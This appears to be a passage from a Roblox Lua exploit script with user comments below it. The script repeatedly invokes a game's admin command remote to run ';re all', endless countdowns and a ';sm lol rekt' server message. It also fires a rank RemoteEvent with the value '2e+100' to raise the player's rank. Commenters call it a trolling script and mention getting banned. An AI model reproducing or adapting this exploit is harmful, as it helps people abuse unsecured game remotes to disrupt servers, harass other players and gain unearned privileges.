RequestCommand:InvokeServer(";countdown2 inf")
RequestCommand:InvokeServer(";re all")
RequestCommand:InvokeServer(";sm lol rekt")
RequestCommand:InvokeServer(";countdown2 inf")
RequestCommand:InvokeServer(";re all")
RequestCommand:InvokeServer(";sm lol rekt")
RequestCommand:InvokeServer(";countdown2 inf")
RequestCommand:InvokeServer(";re all")
RequestCommand:InvokeServer(";sm lol rekt")
RequestCommand:InvokeServer(";countdown2 inf")
RequestCommand:InvokeServer(";re all")
RequestCommand:InvokeServer(";sm lol rekt")
RequestCommand:InvokeServer(";countdown2 inf")
RequestCommand:InvokeServer(";re all")
RequestCommand:InvokeServer(";sm lol rekt")
RequestCommand:InvokeServer(";countdown2 inf")
RequestCommand:InvokeServer(";re all")
RequestCommand:InvokeServer(";sm lol rekt")
RequestCommand:InvokeServer(";countdown2 inf")
RequestCommand:InvokeServer(";re all")
RequestCommand:InvokeServer(";sm lol rekt")
RequestCommand:InvokeServer(";countdown2 inf")
RequestCommand:InvokeServer(";re all")
RequestCommand:InvokeServer(";sm lol rekt")
RequestCommand:InvokeServer(";countdown2 inf")
RequestCommand:InvokeServer(";re all")
RequestCommand:InvokeServer(";sm lol rekt")
RequestCommand:InvokeServer(";countdown2 inf")
RequestCommand:InvokeServer(";re all")
RequestCommand:InvokeServer(";sm lol rekt")
RequestCommand:InvokeServer(";countdown2 inf")
RequestCommand:InvokeServer(";re all")
RequestCommand:InvokeServer(";sm lol rekt")
RequestCommand:InvokeServer(";countdown2 inf")
RequestCommand:InvokeServer(";re all")
RequestCommand:InvokeServer(";sm lol rekt")
RequestCommand:InvokeServer(";countdown2 inf")
RequestCommand:InvokeServer(";re all")
RequestCommand:InvokeServer(";sm lol rekt")
RequestCommand:InvokeServer(";countdown2 inf")
RequestCommand:InvokeServer(";re all")
RequestCommand:InvokeServer(";sm lol rekt")
RequestCommand:InvokeServer(";countdown2 inf")
RequestCommand:InvokeServer(";re all")
RequestCommand:InvokeServer(";sm lol rekt")
end)
game:GetService("Players").LocalPlayer.PlayerGui.ScreenGui.RankPanel.Rank.RemoteEvent:FireServer(game.Players.LocalPlayer.Name, "2e+100")
game:GetService("Players").LocalPlayer.PlayerGui.ScreenGui.RankPanel.Visible = true
game:GetService("Players").LocalPlayer.PlayerGui.ScreenGui.RankPanel.Close.Activated:Connect(function()
game:GetService("Players").LocalPlayer.PlayerGui.ScreenGui.RankPanel.Visible = false
end)
w script lol funny to troll ppl ngl
blue2 spooky on top
lol
got banned but it was worth it
same